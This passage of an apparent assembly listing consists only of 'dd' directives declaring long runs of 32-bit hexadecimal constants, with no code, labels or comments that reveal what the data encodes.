		dd 0B3C77C18h, 4FB58940h, 5AB2B2EDh, 83E261A6h,	1C00D171h
		dd 0FED4B221h, 81AB0004h, 8BE72D7h, 9AB75F3Dh, 35B777E1h
		dd 9D8BF587h, 9F972834h, 9B01D21Bh, 2C97840h, 8BA21103h
		dd 10D1FFC1h, 1312315Eh, 0C2045756h, 5B0E0861h,	16194833h
		dd 5C6B842Fh, 2D77252h,	687012F3h, 21672DBh, 0D5E272B4h
		dd 14F6B09Eh, 2D950161h, 7FC41C15h, 0B1E18DA2h,	28812A2h
		dd 904EB710h, 0BFA057E6h, 349E2A99h, 0E947E1B8h, 2C7A0E12h
		dd 5341F342h, 5BB16E2Eh, 2421A3A4h, 1EF94B2Fh, 958905FEh
		dd 9CA85469h, 0DF946314h, 4C6E5Eh, 65DE6B3Dh, 20910F7h
		dd 0CB8041A5h, 90FF5077h, 7849A4A2h, 6A6602BAh,	0E7A0BD7Fh
		dd 697D4D40h, 0D3E7505h, 3BD2465h, 0BE0B40ECh, 598C0F61h
		dd 64DE82A2h, 0AA9235FFh, 17FCBA09h, 2551F7BEh,	1A873F0Dh
		dd 0E099F4B9h, 4AEB8166h, 4B6A343Eh, 7A80A19Bh,	8B0AB70Eh
		dd 0A7B5E90Eh, 0AAD577FFh, 7C0AA9Bh, 0E0D4CC4Bh, 9805FC12h
		dd 33892C05h, 830112E4h, 0E1C3BC07h, 8001B0EBh,	70C5E6CFh
		dd 41C17E60h, 33C13A19h, 4E6BDBB7h, 4810E7ADh, 3241794Ch
		dd 0B5C8B6F0h, 31B70746h, 4493C140h, 0E881C4DAh, 0EB868068h
		dd 0C8D1DFh, 50369DA8h,	8BB17D99h, 940AD84Fh, 2A108601h
		dd 0FCC82B0Fh, 8877D1CEh, 9D5A8975h, 8527ECA2h,	0D3DE4BACh
		dd 68F1285Bh, 6D9D1C84h, 22121A34h, 42CA1F7h, 80CEA860h
		dd 5DA817Eh, 240B00D6h,	5A0C74B5h, 0E762C6F3h, 11455E4h
		dd 42D03B61h, 0F918118Ah, 52E98028h, 850117C2h,	71BFA9D9h
		dd 602CA6E3h, 0B0E9CCEEh, 3050900h, 0AB4FCDDEh,	0DF8B1866h
		dd 72E9CB5Fh, 84D42297h, 0CD62A24h, 0A5D73015h,	42FE2EA1h
		dd 0D32E71E3h, 0C28DD7C9h, 0C2A520D9h, 0D7B58D21h, 123FE3E1h
		dd 0D34BAE35h, 0E6A84D6Ah, 0DA4EC07Dh, 6A5A75E7h, 0DE9428C3h
		dd 391FED20h, 0BBF0AFB9h, 7305D027h, 42612514h,	5E480982h
		dd 0F94F0516h, 0D3FCAF09h, 0EAE1705Eh, 213A2F0Ch, 4BF84EE0h
		dd 40798DFCh, 285F23B5h, 0BBB84329h, 0F29D0909h, 8164A119h
		dd 0D22BE551h, 8A0C1160h, 80C4C7FCh, 0C233AD20h, 0D0AED164h
		dd 757F05ABh, 0F1F209F4h, 0DFB3B070h, 2A57E78h,	0EB1E9CF0h
		dd 4D712D7h, 0E0181303h, 88610DFAh, 759D0B33h, 4851002Dh
		dd 0BD0C3A2Dh, 8D191B85h, 0D204932h, 4EA7F79Dh,	0F1C2D750h
		dd 0BFC10318h, 0D3D8F408h, 4A015819h, 0DAA896BDh, 10997953h
		dd 0FA4C2F69h, 5F12F510h, 599A1683h, 0DEBCC29Fh, 8B9F7409h
		dd 0CA0156ACh, 0A2472494h, 503D95E3h, 0FF3A9500h, 2E547C9Ah
		dd 1112B406h, 60F51C01h, 9270FC5Bh, 52610114h, 0A2CFCF5Fh
		dd 144A4EE8h, 42ED584h,	18FDE1FFh, 0AF1321B8h, 30ACCE38h
		dd 0C2EB1D12h, 0A798228Fh, 11820531h, 3F02010Dh, 715D5B29h
		dd 0A88ECECh, 0E0CB7CC2h, 0F03308Ah, 0E217865Fh, 0EEBCC3EDh
		dd 2A32FD00h, 8B6036ACh, 0A0BBDFAh, 2870C57Bh, 16A6585Fh
		dd 0B3CE98C1h, 9905EC9Dh, 1DFC1800h, 0DF284C51h, 4E12580h
		dd 0DC6C54h, 6CBB381Dh,	1550810h, 7CF49D4Eh, 0BCC9500Ah
		dd 7A6AF783h, 0BB2200AEh, 0E6029C14h, 2CD59063h, 629C04F5h
		dd 0A7C064BEh, 62823399h, 0BCD95E6Dh, 9F31F0FCh, 72007ABDh
		dd 6C79EDA4h, 62E6B550h, 499D17A0h, 53E31B5Ah, 58446E4Ah
		dd 0DAB470C9h, 992903DCh, 1C7F03F4h, 9374C6B5h,	29CF5FB0h
		dd 61FEEFFh, 22C4F88Ah,	0AAC81583h, 0BEC6810Dh,	0E8408E2Fh
		dd 0CB00113Dh, 879C1B7h
		dd 0C08B5B5Fh, 0C55DBF7Dh, 7BF316A5h, 6A687B30h, 0F302C21h
		dd 5CBB4069h, 58EEC0A4h, 0C0966DB5h, 235760D8h,	152DBD2Eh
		dd 0E3815B80h, 58637AD6h, 0CD16D714h, 1D7B21h, 0A6B8759Bh
		dd 4B378092h, 0CB16C28Fh, 0D7C82DE3h, 4127E91Bh, 0D0A9D302h
		dd 7A3BDC93h, 0D6061EB7h, 6E11749h, 9367A556h, 0F4A37814h
		dd 3603DD03h, 82C7F52Eh, 8F3D7D18h, 0D48380BBh,	0D81DBC9h
		dd 0C6035BFEh, 6D9FA4EDh, 313CE2FAh, 7075D2E0h,	851229FAh
		dd 94B63345h, 307D3E00h, 2A0FEE0Bh, 1BE46703h, 85C59501h
		dd 1696F850h, 0A84B05F9h, 8E5389D9h, 11018BCAh,	0FF26D8F0h
		dd 3C096E5Eh, 378D0EA2h, 59A0B3F2h, 0FA8A8011h,	4468916h
		dd 9D02CE6Fh, 8CDA3EB8h, 6700C466h, 10346AEDh, 0F1DB4ACh
		dd 0E20F9619h, 60BB0A00h, 4E5B831Ah, 8DCAEC7h, 905075DFh
		dd 0D2195E4Fh, 224AB5B7h, 0BB02F59Ch, 2EAA9B21h, 8DD4650h
		dd 3C0BB7C7h, 5247601Fh, 0B951595Ah, 2FFC7B78h,	39BB0E66h
		dd 98346165h, 1CBF849Eh, 0B43AFEBCh, 0F10F1C23h, 0CF7A1E5h
		dd 0E3C5256Fh, 8C854Ch,	1E794F6Bh, 896D37BEh, 0C52D0A14h
		dd 0C68D24F9h, 0DC67DE69h, 0FEDCB716h, 0F089EE9h, 0E9960C85h
		dd 0B0913088h, 0C69A0B92h, 2ECD90F8h, 0C4C9E7C1h, 65F8D542h
		dd 0F85C214Bh, 294B5776h, 821BC2A0h, 0FE6102A5h, 2F019F6Fh
		dd 7F303145h, 79A06023h, 2BF3240h, 6784FCA0h, 65E685C7h
		dd 0B56277E1h, 0F081C7CCh, 51EEC9A7h, 7D416F56h, 5AF0E88Ah
		dd 33C70EFCh, 160554F6h, 25A8C4A2h, 30E692FAh, 0D9058179h
		dd 0BD43E9h, 0E00161ECh, 940FF883h, 0C16EFC82h,	0FC36D836h
		dd 11700C30h, 10F4473h,	5A10E8C1h, 4C00610Eh, 965803F8h
		dd 0EBE78D5Ch, 6404DE37h, 3316EE39h, 2829501Bh,	58182140h
		dd 570113CDh, 8BC01B09h, 6DDB95C0h, 0A0193A70h,	961225FBh
		dd 2671886Ah, 0B5193125h, 6D5DE369h, 0D9185CFh,	4E2BF98Bh
		dd 0DA42E52Ch, 2EA1FCCDh, 0E418506Eh, 2341A2D5h, 30207599h
		dd 209B7897h, 0F8C2013Dh, 0FE199D8Dh, 5E504BE5h, 0A778D69Bh
		dd 0C1FD0EB7h, 0D722BEC7h, 625477EFh, 0A1108726h, 1236AD7h
		dd 0DF4AAB5Ah, 6A68C7E6h, 0A637B772h, 0CDC62980h, 47BAC7h
		dd 0ABDF81A3h, 9607ADA0h, 5087B312h, 0A98E37BFh, 2870F8F3h
		dd 0D85CC13Eh, 5965A4D6h, 11B602C4h, 9D92B6DCh,	946050BEh
		dd 1FFF6BA4h, 0DB409BE9h, 7BF2BA82h, 0E12B0BBFh, 0F2024D08h
		dd 0E55322D1h, 0FCDB46D0h, 89F808B6h, 5381C486h, 5F31F380h
		dd 64D4083Ch, 0B37A405Bh, 4C283CAh, 203D895Ch, 4A50EC25h
		dd 8E20DB20h, 700596C9h, 0B1DEE0D4h, 74EA80DEh,	2F2C520Bh
		dd 0F4D4D4D2h, 516EAFh,	0DA91C8E0h, 137CE175h, 9E6A52C5h
		dd 0FE928296h, 5F1B4C3Ah, 6B1A34FCh, 75C8007Ah,	0A639DE57h
		dd 2DCF9001h, 474450DBh, 9ABBD8FBh, 85044005h, 0FF864501h
		dd 24343BFAh, 2549DE29h, 96C46A70h, 61328E9h, 0FA185BDh
		dd 3F6F5F4Ch, 6B847EE1h, 26536B6Dh, 4387C70h, 27357395h
		dd 0E59E81D0h, 0CDA00413h, 52BA8B1Fh, 0EF6C10FDh, 518900A2h
		dd 0AD42BC80h, 2600E13Fh, 0C407540Bh, 620F8877h, 5AFECE31h
		dd 0EE4EB243h, 688A6F9Bh, 78D46B91h, 0ACCE00DEh, 4C2B42DAh
		dd 0F286CEAh, 352DB358h, 0D0CA5330h, 0D9009C61h, 84A42B3Ah
		dd 9F9D641Bh, 0F2F8CA13h, 1000D4BCh, 2281360Ch,	52C780CCh
		dd 18446801h, 0FABD0169h, 4708809Dh, 8853F5C1h,	7C01B9A4h
		dd 0AB091646h, 1482E7F8h, 90C41541h, 0C709315Fh, 5F210502h
		dd 0B0B1F7A7h, 4D7BE42Eh, 0B3D8F8A0h, 2F8E844Ch, 0E3F39039h
		dd 0C6DA2D6Eh, 0D7D058DBh, 47129D45h, 6679286Ch, 0C7601604h
		dd 0C4F13D85h, 0E3800E00h, 0CCE90E0Dh, 8434FFF2h, 8BFDD531h
		dd 6A362AC1h, 0CCDF4BBEh, 14C05241h, 9D2B5BDEh,	38BB92B9h
		dd 0B2CE6090h, 0ED7900ECh, 0CFAFCE3Ch, 9A5B002Bh, 2A8202E0h
		dd 0C00C589Ch, 4A615FA4h, 9050E8C8h, 5BB04A5h, 84202723h
		dd 80C0AC94h, 2912EE64h, 4B5C0204h, 0F0DB92C3h,	4290A141h
		dd 5C2B0AD5h, 0EFBFC2A5h, 0E0F68AFDh, 7882C515h, 4DEAFB6h
		dd 3BC80AE2h, 543EC0F5h, 0EA959D31h, 0C9001ABh,	0D6DAE464h
		dd 0BD0ADCDCh, 0C64FE666h, 5CAD151Ah, 0B2D3251Dh, 256B70h
		dd 12715FE9h, 9E401C2h,	0D795BD2Eh, 62BB508Fh, 0D038E5D8h
		dd 8D02B789h, 570F1F5Dh, 0F62CE00Bh, 9A50465Bh,	6C0F714Eh
		dd 6FFB525Bh, 0E5300F3Ah, 3162D20Fh, 69135ED9h,	76012C71h
		dd 0D7466067h, 2A8951EDh, 13D65BF9h, 1203C625h,	810DBD29h
		dd 2BD1FF8Ah, 0C07D0823h, 1A050E7h, 0A2D97430h,	2E532A43h
		dd 8B96E928h, 45058FB1h, 58D3014Eh, 6F026ABBh, 5F8005DBh
		dd 6E2F1E38h, 820FFC17h, 4EBE0C8h, 1244BC55h, 1020EE90h
		dd 0C5783h, 0E738CECFh,	8E67E4B3h, 0B2150800h, 1AA6B020h
		dd 0E2109D50h, 75009CDDh, 0E4490693h, 39F7E0D5h, 9880FD25h
		dd 5BDF956Ch, 904DE81Eh, 7559BC65h, 3F5405F4h, 0D8CFD780h
		dd 0A725E90Fh, 8823E50Dh, 882F6416h, 0F817D984h, 0FBB8A1EDh
		dd 393F3501h, 8BB6A915h, 6B215ED2h, 426E4E1h, 0BF562390h
		dd 0E7200918h, 258C5F4Bh, 0CD45B17h, 4D1D4821h,	9F0422C0h
		dd 7C0B13B5h, 5BE529F9h, 41B584F8h, 0DB3B2D26h,	2D2780CBh
		dd 25EE5FE0h, 9CC2D61Bh, 0EDB0BAF7h, 7A6360B2h,	71903D14h
		dd 937CF33Bh, 0DEADFF6Ah, 640022B8h, 0AD636F7Ah, 58044876h
		dd 945FE74Dh, 3F2AE2A6h, 0B4FE0063h, 462A6C97h,	0BA3C2CD9h
		dd 0F6FC1283h, 1A282229h, 17918D09h, 2AFDF602h,	0F905B007h
		dd 0E045388Ch, 60EB1FD1h, 0A07AC09Ah, 6653DC3Ah, 8EE32C04h
		dd 0BD88E8ECh, 0B5A60075h, 5FFFD74Eh, 7000E65Bh, 2EAD37BBh
		dd 1271E452h, 0F481CF80h, 48AE250h, 4DBDD9BFh, 50D9D08h
		dd 0BF9FA2E9h, 24C5EF9h, 17C59589h, 10469377h, 3201E938h
		dd 0DABD482Bh, 0B0D1FCA4h, 0C4D617DCh, 0A25925E9h, 0F6A900C4h
		dd 7059532h, 0F2362F6Fh, 26590740h, 31715F81h, 1A3C596Eh
		dd 31FF3939h, 0F5113C0h, 375EC209h, 0A24A3591h,	6C20009Dh
		dd 0AF1EB8FDh, 0BA27005Fh, 0A4F41CA7h, 2F09C4FFh, 985556B4h
		dd 0FC707FB4h, 0E507026Bh, 39A9447h, 0E95BAA60h, 33254264h
		dd 0A74B0AA8h, 0BBB3174Ah, 4E57F930h, 4FFE01A1h, 914C6852h
		dd 53222F76h, 0A52A2F1Ch, 98FE1320h, 895B3204h,	8EE1C0C9h
		dd 184B612Fh, 5F4004F3h, 0D50A814Eh, 0F75601F6h, 1332DC4Bh
		dd 97023EC7h, 75204D8Dh, 99DF443Ah, 4DF1310Ah, 890BFC15h
		dd 586BDEABh, 83285E7Fh, 0C920FD9Eh, 0B95F0B25h, 14520E69h
		dd 0C9327520h, 0A07FCF8h, 2BA42EEFh, 0E0F5B6C0h, 6029AB0Fh
		dd 57D34C23h, 0A7EAD22Bh, 26DB7F12h, 0FC4FBE3h,	0CB18980h
		dd 0DE00F097h, 54B4255Ch, 1602B67Eh, 0C8B17908h, 0DE0205D8h
		dd 0F0D45C5Fh, 4035FED5h, 463877F4h, 6E797F0Fh,	85071D1Fh
		dd 0C5C05764h, 0B820AEFBh, 8CFD5234h, 0B70A884Bh, 0FE356A4Eh
		dd 3B9ACC4h, 9067A4Ah, 2436903h, 5E23E18Eh, 0B7B55E21h
		dd 0E02100A5h, 0B426043h, 205DBD13h, 52549070h,	0F386004Fh
		dd 9B2C3EB2h, 0E1131EF2h, 0D5006057h, 0BFA4CBD9h, 0BBE409C2h
		dd 5379616Ch, 30547744h, 0F6016912h, 0C381012Dh, 4EFF6C37h
		dd 0E9FC352Eh, 64B80Ch,	0D6105EFAh, 0F5A39068h,	0FFDF8B0Bh
		dd 0C04BCDE1h, 0E61B9B0h, 0F57DEC13h, 0EA04AD88h, 354700ACh
		dd 0A2E2E1E3h, 680253BEh
		dd 5A2A1807h, 50305E21h, 0F482047Dh, 12CE0003h,	2A598D29h
		dd 26E99DB6h, 4831802Dh, 61164160h, 1D969210h, 2FF514F8h
		dd 8A2F2528h, 78EDB707h, 8F76012h, 8E68D4B0h, 4DF50B97h
		dd 0BD21C20Ah, 9B96EA5Ch, 6EBFA453h, 7E9F27BAh,	95082B2h
		dd 66CAB1BDh, 2C85A6C1h, 0D5BB87B6h, 0ABF053A9h, 9FE658C6h
		dd 0A4B2CD5Eh, 29CB40h,	9278727Ah, 9973B932h, 59E2CE06h
		dd 0BBE2A1A6h, 259238D6h, 4628F75Bh, 1712B0C3h,	0D354C1FDh
		dd 3B50743Bh, 8A7A19C9h, 0BB6302E8h, 0A2AD96F7h, 402FCB13h
		dd 0BAF881h, 64B21132h,	788360CAh, 25B5635h, 8CDB41C5h
		dd 0F13E1180h, 3E8936Dh, 4828C930h, 123EF81h, 663FED54h
		dd 2B8745BFh, 1A893D29h, 3C59DCCEh, 51374225h, 966D00BDh
		dd 597537Bh, 52508100h,	585A310Fh, 3B939559h, 0F5BF1803h
		dd 3D7F454Fh, 5A296022h, 6611B18h, 0E03FB6A4h, 0E8AD1E86h
		dd 0D918950Ch, 255F9D2Bh, 7E32312h, 0E9EE045Fh,	807B9FDBh
		dd 9548BD17h, 2BA9703h,	0CA8024B5h, 34BB22FEh, 159A2564h
		dd 929503E6h, 0DE647CDFh, 84BC0C4Fh, 3BC0CD4Ah,	9C808F9Bh
		dd 0A29EF7D3h, 822F2205h, 7DC16D55h, 0B7011BB9h, 2606E173h
		dd 13AEF4ECh, 1232FC3Fh, 5F6F0B7h, 4E3016B2h, 7DF4B830h
		dd 0DCCC9C46h, 0B9F94105h, 0FE8154A8h, 8150471h, 6F801483h
		dd 0A81B18CEh, 0E4211E56h, 3C1C402Dh, 0E9C702EFh, 80012938h
		dd 795BBBA9h, 16586594h, 0C66198B5h, 9D255AEEh,	9C06EE2Ch
		dd 9739DCEAh, 9E8C5F7Eh, 22825A0Fh, 0BB18887Fh,	819800C2h
		dd 2DB820CBh, 0DBF66826h, 0D2AD4F2Ch, 437D82Dh,	52CF2899h
		dd 0ACE4B9F8h, 29028C19h, 0C61495BBh, 9321DB42h, 44BDB5F9h
		dd 9430F8D7h, 0C931CEE9h, 61646199h, 0ABF1B626h, 29E0409Ah
		dd 8396359Dh, 1D159586h, 0A09E9559h, 21B5B7h, 3F71E2F6h
		dd 9495EA85h, 0A620B5AEh, 86AABF50h, 5B6DEC13h,	0E29668FCh
		dd 96640054h, 422482ACh, 3FFF0085h, 3D80D803h, 0A209FB39h
		dd 73B3C05Dh, 19115F7Ch, 0D63EE897h, 445A304h, 35B217h
		dd 21409D3Ah, 4B517F2Eh, 227B8A3Eh, 0DB81023Bh,	38483A7Ah
		dd 2869CB96h, 0DF9A0727h, 3AF3CC25h, 1A497C62h,	54B8FC04h
		dd 1CF4BFC1h, 9D56FAB9h, 848535E9h, 87EE9686h, 122A1483h
		dd 846535B3h, 96804B59h, 6C6A937Ch, 71D0A53Fh, 0F309BC64h
		dd 0D81D9661h, 0D48F1B11h, 0A90E9400h, 0D9951359h, 0CFC8078h
		dd 9392ABC2h, 0AFA07500h, 8DBB81C1h, 0BD99A6D1h, 90801137h
		dd 0A75A28A1h, 30202FCh, 0E0343D9Dh, 4DC9585Ch,	0B9CEC0B0h
		dd 0DE4FCD67h, 971651A0h, 8D40783Ah, 1A9775C9h,	915D454h
		dd 3971A008h, 0A9BD2982h, 0EB42DC1Ah, 0D073A07Bh, 9705629h
		dd 0B6F5A635h, 0ED955570h, 3650C045h, 69B4ABADh, 97C8540h
		dd 0FA192C69h, 0A345153Ah, 80C05B25h, 0B90BCF81h, 79710E10h
		dd 0B5298422h, 2B94A185h, 9D897530h, 0D429B551h, 0FB9D595Ah
		dd 0FFBB783Fh, 0E1F8550Eh, 66A84069h, 0D4B804BFh, 0A916004Eh
		dd 29F09115h, 28723A1Ah, 0E9495CF9h, 8750E65Bh,	20504BA9h
		dd 74FD92Dh, 7AB81903h,	9039309Bh, 3A612477h, 60AC7293h
		dd 97C2145Ch, 13F58B70h, 9BEC16A8h, 0BB6C80E6h,	29AA260Eh
		dd 2E711297h, 0E771DC54h, 504B087Ch, 4BB78E8Ch,	2D888A1Fh
		dd 603D4F81h, 4C2C0919h, 5816B573h, 47F8E770h, 162F2910h
		dd 6AE8870Fh, 11CADC4h,	9675B761h, 0E1077863h, 903EB987h
		dd 0E7FABF82h, 80B6653Ah, 6A01508Eh, 0ED68ABF0h, 0B6AB133Fh
		dd 9366E0F4h, 7B90B5C9h, 25057CC1h, 0FC8A5614h,	45C4BC66h
		dd 7D322B0Dh, 1862A831h, 0E0604DADh, 79032EBDh,	3970AA16h
		dd 0F709F0BCh, 6573B758h, 4D69FA6h, 0F2AAF37Eh,	0D9D02F7h
		dd 71685C1Ah, 0F336A57Dh, 0F7A278CEh, 5A12B2E2h, 8B085799h
		dd 0EF90A718h, 862709E3h, 58B45E85h, 0BB1C4702h, 0EE685F1Bh
		dd 35869A95h, 5C088049h, 15E54DAFh, 8D0FFC12h, 532B398Dh
		dd 15B504ACh, 86B25207h, 276F92h, 0CCBBED6Eh, 1658C5C4h
		dd 0A8F35EE9h, 0EDC12DD8h, 0FCE1C52Eh, 74222727h, 0B5755A89h
		dd 30960046h, 9807E8EAh, 2FBB5C02h, 40451621h, 99BD73Eh
		dd 0D98B90F9h, 0B5609A54h, 393F3836h, 0D6802CC2h, 0B1553E8Dh
		dd 3702B711h, 0E6362BBCh, 0DC715C90h, 90D17708h, 0C9F51572h
		dd 0E856AD4Bh, 9F820009h, 120C2CC9h, 8E5938EFh,	58B54F5Bh
		dd 0F093E62Ah, 0A23F8269h, 28C90E8Eh, 73E2412Dh, 0BC966DE4h
		dd 0E82C00E5h, 36F3CA69h, 997345Eh, 8937F7F0h, 0BCC13002h
		dd 0F484750Dh, 57900526h, 0B1E3CCh, 61F9D97Dh, 0DFA8BACEh
		dd 1DB9F40Eh, 505FA58Ch, 0D915CDAAh, 3F2B2981h,	9490AE51h
		dd 873C8009h, 2D98DEC5h, 3009D351h, 58166D9h, 22E6A3EBh
		dd 2EAC964Bh, 0E1E05CADh, 8345B1h, 0BF39814Fh, 48C88E36h
		dd 95BD8B13h, 259C71C6h, 1AE6BA0Ah, 55BD0909h, 5A105E1Bh
		dd 2FD4525Ch, 3087FD1Bh, 7EFE3660h, 616B8160h, 4B23D1FFh
		dd 2ED4A59Dh, 0E1462628h, 84E2DE3Bh, 3E817383h,	6A002F05h
		dd 0BF03F502h, 332920Eh, 5B9FB150h, 0AB380CC9h,	134FE35Ah
		dd 52AB9D0Bh, 10D6B6B8h, 0ECE20CC9h, 416F6C42h,	3FBE5640h
		dd 0F7EC1208h, 2578B8F8h, 0A9F57318h, 0EB16801Eh, 0F856E10Fh
		dd 3C05E807h, 0D4903826h, 0BEBF4565h, 9E884087h, 0C1005E4Dh
		dd 0B6FA8C22h, 2697F0A6h, 0B4F25018h, 381940FFh, 4C429571h
		dd 5510F301h, 0F0807573h, 97FAAF30h, 0FD35D509h, 18831611h
		dd 7E31413Dh, 1D9DECFBh, 66F6392Eh, 406DB05Ch, 0EF3A97D1h
		dd 0BD44E5Ch, 0C9BD33DEh, 0CBE460ABh, 0AD7B381Fh, 337277C1h
		dd 5666FF6Ah, 8AE0D0F2h, 7B9D1B41h, 81DCD380h, 2ECB2FE3h
		dd 2919FC62h, 8F3F658h,	2D851229h, 31D3A931h, 70E6DF05h
		dd 144BE43Eh, 1715B9Dh,	1B24A1B4h, 0EFC13EC4h, 0E4012681h
		dd 0EE482E71h, 0CF02BFE1h, 58FFB41Fh, 2E0089C6h, 0B917BEFEh
		dd 99F6AEh, 9CF85A6Bh, 1EAC7286h, 2320BB12h, 0B7BA09F0h
		dd 8FDD118h, 8109C082h,	368701D3h, 0DFBB7C7Fh, 2F6BE933h
		dd 0BDE81119h, 0E47299A7h, 31442DF2h, 0A0E49DC8h, 394AB500h
		dd 0C05297EAh, 0CB9E015Eh, 8FC9709Ah, 1F1C2F0Ch, 4FBCF8D6h
		dd 27A85C9h, 0A177DAFBh, 37E38003h, 0DE63D32Bh,	0A4A00A70h
		dd 244A39BDh, 172246F6h, 8495F197h, 0C861BD01h,	7DA03E2Dh
		dd 15F3F595h, 0F00825BBh, 984A5CC2h, 549E38F2h,	0FE3114A5h
		dd 692EDDFEh, 95940DEh,	3BF58D5Fh, 2B453EB8h, 2ACED60h
		dd 0F87CD6E4h, 83BF023Ch, 5C4AFA47h, 0B9ECFDDh,	8029A1B9h
		dd 0A6807C37h, 5F9860F9h, 0D4099756h, 8C78F6Dh,	0F04862F0h
		dd 252112B9h, 20D4EC56h, 0FC5B2F1Eh, 0BFC0506Dh, 27B7B294h
		dd 4267B82Ah, 2C601BE4h, 0B139E640h, 0C0158D5Ch, 0E62F1FBAh
		dd 0E56DF0DCh, 12625F75h, 0A039B908h, 82074D9Dh, 0DB4B035Ch
		dd 5D8F706Fh, 0FABE6B03h, 4AF5F210h, 4E3BA830h,	0F381EF70h
		dd 4B2012CAh, 6E2EF538h, 15879CDEh, 0E67F241Fh,	999D0990h
		dd 78357921h, 0B5269D2Bh, 0C4E0E62Dh, 0E411D220h, 0CA724B78h
		dd 0BE642203h, 5A012B10h, 0D536418h, 2FFCA84Fh,	4B77B64Bh
		dd 86F228Dh, 0FF0B15FBh, 1598D6E1h, 304BE25Dh, 8777D914h
		dd 0D6F07F04h, 31BFCD08h, 3B45C5C8h, 4D81650Ch,	8A614B59h
		dd 3F713F0h, 0AE894FDh,	78127973h, 6F2F8F5h, 414FE48Dh
		dd 7B19EDC5h, 6986B62Ch
		dd 2BDC829Bh, 30D89DDEh, 13778497h, 0C837600Bh,	8D89CC81h
		dd 0B80421C9h, 0BF04733Eh, 0E180A359h, 1CD36FEFh, 5C440260h
		dd 28BD0FA9h, 2D7C4D27h, 0D8060FF6h, 1A61CDADh,	28662B4Ch
		dd 0BB8044ADh, 0CB30D609h, 59257B3Bh, 15181Ch, 43875BD6h
		dd 0F2905139h, 600A9A97h, 822FE9D1h, 64F14AD7h,	5390B7B3h
		dd 85008FB8h, 283B3DBAh, 59F024h, 0A76EB950h, 615A310Bh
		dd 9FCC2EF1h, 2E37B790h, 6E939D00h, 28685611h, 28DFF010h
		dd 4E8FD444h, 3A9EB515h, 80F042E6h, 897BB723h, 0B891360Bh
		dd 0E1878282h, 5968002Ah, 2EEFCB9Dh, 6B5EE71Fh,	5A007650h
		dd 24348158h, 0D42F9EA6h, 0C4DACD2Ah, 518AFE95h, 0D92313Dh
		dd 4805B71Ch, 0C6DE2559h, 0B9C69FEBh, 44558982h, 167209Ch
		dd 8909B1B0h, 713A2F26h, 96F4A7DAh, 11A404C9h, 7FC3B112h
		dd 9427A07Bh, 516BD440h, 56E41A97h, 14FEEBC5h, 0F02F06D4h
		dd 0B2E4DAA6h, 0BB37E8BDh, 330905E5h, 0E6068971h, 8751E018h
		dd 2E7024A9h, 59B552B0h, 0ECA8E180h, 90267497h,	77E697A0h
		dd 72EE8407h, 0EC33C644h, 8765B801h, 359100FDh,	4517BB66h
		dd 0F84B8B61h, 0CCB3E085h, 0EBB41200h, 29B19D05h, 674F3900h
		dd 79A75DF3h, 40476206h, 0C5F2D02Eh, 59D78102h,	5C33059Bh
		dd 1C506BB1h, 9681F40h,	24C98BF6h, 3B1F40Fh, 20B96660h
		dd 0D0F2A721h, 9754861h, 98D67488h, 4E4AB7FEh, 826B8F56h
		dd 22191D93h, 56F45790h, 0F1DAD541h, 13DEC4h, 0CBD88493h
		dd 0BB505F8Ch, 5E49D0EBh, 9D019004h, 7E8B1FCDh,	6102BF3Ch
		dd 8D29CBB7h, 184A6A43h, 0E6595CCFh, 0B800AAACh, 9ED2C775h
		dd 181A697h, 0EF20D7EBh, 0A78B566Fh, 5F650498h,	22A2A1ACh
		dd 46E014D6h, 103B85h, 1C6DB04Dh, 39BDCEBAh, 96FC7B00h
		dd 2EE9B2D4h, 4E5F74F8h, 0D2C7B81Eh, 4BBA6AB3h,	0AA2FC16Ah
		dd 2C016A37h, 0F3DADFCEh, 0C9E055E2h, 5F4BB5E5h, 9034798Ah
		dd 0E29CAA5Bh, 0D410B5DFh, 7C01EF16h, 0B447C55Bh, 90C8FF8Eh
		dd 0BDECA569h, 86D456Ah, 8028090Dh, 9630392Fh, 603CAD82h
		dd 0A87175EAh, 5D79DC09h, 0E782D425h, 0E02D9835h, 975BD8F3h
		dd 83F2C11Bh, 398517A1h, 0A219BB29h, 0EC504E08h, 595BC983h
		dd 8CACBEFBh, 201C204h,	0DE50BE5Ch, 0F511650h, 5786D18Ah
		dd 4B962A5Bh, 0ED614D78h, 0DE2E8845h, 175DC00Eh, 4B15614Eh
		dd 3F7C8DA1h, 0D0805DF3h, 492BD531h, 0A49A1705h, 20B8F615h
		dd 0E95B1825h, 83181879h, 0DED69E0Bh, 95C7C6Ah,	9271EBF8h
		dd 49B290A7h, 0AEBF0096h, 0E2844D1Ch, 3D12AC67h, 9FE3938Dh
		dd 96DA4650h, 5FBAFADh,	972E6BD0h, 0BD299600h, 64951FB5h
		dd 952492EBh, 0B8B4D14Eh, 0BDDA65D4h, 0B00DB7B8h, 0CECB5DAFh
		dd 4041DBF8h, 0A0564B12h, 354AD54Ch, 0A0B9F384h, 18C1BACh
		dd 3629E42Dh, 6F7D74C4h, 6A9A981h, 9BD2F86Dh, 0D9EA80F5h
		dd 4A96F608h, 0CE9BED60h, 61C243CBh, 8DE2FF50h,	0B0602005h
		dd 2BFBF82Dh, 4FE93FDCh, 82F29E28h, 615497CCh, 9065790Fh
		dd 5D6C282Bh, 60A6CF95h, 5DE860E9h, 70FA1E04h, 0FC12269h
		dd 500217C9h, 0D14737E0h, 37BD019Ah, 0ED2E1FB6h, 16BFA460h
		dd 89EC8A7Fh, 127D9512h, 0C5600928h, 0F4231180h, 8625DC74h
		dd 0ACCB5B61h, 5E04D6FEh, 0CBD6C508h, 1D88E6DBh, 471055C0h
		dd 0E3780119h, 59BB3D3Ah, 0A5473123h, 4F6B66B9h, 0C4B0AD52h
		dd 5B092F05h, 15445271h, 0CF815640h, 691209A2h,	17E35F05h
		dd 0F052C625h, 9695B171h, 90794EAh, 5C817DFCh, 0C6FFF488h
		dd 9A70D373h, 0F96F2713h, 7509CBF0h, 56C18B37h,	0A07E6975h
		dd 0D445B860h, 10C9057Bh, 0C0353A2Bh, 1853145h,	8BF70561h
		dd 0F827D8Dh, 0A7C78061h, 91F1B5D5h, 71A7801Dh,	709DD4Ah
		dd 7039F0C8h, 0EB60C51Eh, 0B6F23E20h, 546052Eh,	0BF3F27CAh
		dd 0B55F20CCh, 7A80306Ah, 5BEF97BFh, 0FDF58ACEh, 2DE49EB9h
		dd 0DE727425h, 712CBC00h, 0A9A173C1h, 0F2D560B7h, 7E48320h
		dd 0C9E1CDADh, 0A768E991h, 985B0825h, 404B6D27h, 0D1910119h
		dd 3D7FEA00h, 0A0E28160h, 90E2F93h, 6278E964h, 128FAF00h
		dd 89E71EC0h, 428604ECh, 0A810B81Fh, 9FD98772h,	0C030C3C7h
